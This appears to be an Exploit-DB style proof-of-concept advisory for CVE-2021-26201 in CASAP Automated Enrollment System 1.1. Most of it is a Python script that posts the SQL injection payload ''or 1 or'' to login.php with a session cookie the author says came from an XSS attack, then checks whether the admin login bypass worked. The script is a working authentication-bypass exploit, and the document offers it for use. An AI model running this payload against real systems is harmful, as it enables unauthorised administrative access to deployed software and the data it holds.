# Exploit Title: CASAP Automated Enrollment System 1.1 - Authentication Bypass cookie session # Exploit Author: @nu11secur1ty # Date: 03.02.2021 # Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip # Version: 1.1 # Tested On: Ubuntu + XAMPP 7.3.2 # Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass SQLi cookie session # Exploit Link: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201 # More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html [Exploit] import time import sys import requests import webbrowser # Creator of the idea: Himanshu Shukla print("Author: @nu11secur1ty") def authbypass(url): #Authentication Bypass s = requests.Session() #Set Cookie fot testing #PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'} print ("[*]Attempting Authentication Bypass cookie session...") time.sleep(1) values = {"username":"'or 1 or'","password":""} r=s.post(url+'login.php', data=values, cookies=cookies) p=s.get(url+'dashboard.php', cookies=cookies) #Check if Authentication was bypassed or not. logged_in = True if ("true_admin" in r.text) else False l=logged_in if l: print("[+]Authentication Bypass Successful...!") else: print("[-]Failed cookie Authentication exploit!") print("[-]Check Your URL") if __name__ == "__main__": if len(sys.argv)!=2: print("You Haven't Provided any URL!") print("Usage : python3 exploit.py <URL>") print("Example : python3 exploit.py http://IP_or_domain/final/") exit() try: authbypass(sys.argv[1]) webbrowser.open('http://10.10.10.100/final/dashboard.php') except: print("[-]Invalid URL!") exit() # BR @nu11secur1ty -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://www.exploit-db.com/ https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>